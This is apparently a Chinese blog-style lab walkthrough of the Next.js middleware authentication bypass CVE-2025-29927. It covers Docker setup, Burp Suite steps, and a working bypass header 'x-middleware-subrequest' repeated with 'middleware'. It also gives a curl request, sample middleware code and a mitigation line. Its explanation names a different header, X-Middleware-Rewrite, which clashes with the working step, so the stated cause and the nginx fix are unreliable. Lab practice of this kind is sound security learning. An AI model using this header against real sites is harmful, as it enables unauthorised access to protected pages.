Next.js 中间件鉴权绕过漏洞 CVE-2025-29927

前言 :CVE-2025-29927 是一个影响 Next.js 的严重漏洞,源于开发者信任了客户端请求中携带的 X-Middleware-Rewrite 头部字段。攻击者可以手动构造该头部,实现绕过中间件逻辑,访问本应受保护的资源或 API。

影响版本 :Next.js < 14.1.4
成因概括:攻击者利用请求头控制中间件行为,重写跳转目标路径,进而绕过路由拦截。

任务一 启动环境

复制代码
cd next.js/
cd CVE-2025-29927/
docker compose up -d
//3000就是靶机端口

任务二 打开BurpSuite

复制代码
代理->代理设置->响应拦截规则(勾选)
复制代码
随便输入一个弱口令 返回的是/login 没有成功
复制代码
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
//在bp加入一个头部,返回了200成功了

任务三 拓展 | 本地

复制代码
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const token = request.cookies.get('token');
  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url));
  }
  return NextResponse.next();
}

//创建中间件 middleware.ts

curl -i http://localhost:3000/api/admin \
  -H "X-Middleware-Rewrite: /api/public" \
  -H "Cookie: token=malicious"
//构造绕过请求,模拟攻击
//原本未登录用户访问 /api/admin 会被跳转到 /login,构造该头部后,成功伪装访问 /api/public,绕过登录校验。

任务四 修复

复制代码
//防御措施
proxy_set_header X-Middleware-Rewrite "";
//中间件中加入请求来源验证机制,防止伪造

官方修复版本 :14.1.4
GitHub Release Note

相关推荐
闲人编程3 分钟前
文件上传与云存储集成:构建可扩展、安全的文件管理系统
安全·测试用例·云存储·扩展·分片·fs·codecapsule
霖霖总总2 小时前
[小技巧19]MySQL 权限管理全指南:用户、角色、授权与安全实践
数据库·mysql·安全
king王一帅4 小时前
Incremark Solid 版本上线:Vue/React/Svelte/Solid 四大框架,统一体验
前端·javascript·人工智能
晓幂8 小时前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问8 小时前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
tianyuanwo9 小时前
合并XFS分区:将独立分区安全融入LVM的完整指南
安全·lvm
智驱力人工智能9 小时前
守护流动的规则 基于视觉分析的穿越导流线区检测技术工程实践 交通路口导流区穿越实时预警技术 智慧交通部署指南
人工智能·opencv·安全·目标检测·计算机视觉·cnn·边缘计算
Nan_Shu_61410 小时前
学习: Threejs (1)
javascript·学习
Van_Moonlight11 小时前
RN for OpenHarmony 实战 TodoList 项目:加载状态 Loading
javascript·开源·harmonyos
2501_9458374311 小时前
云服务器的防护体系构建之道
网络·安全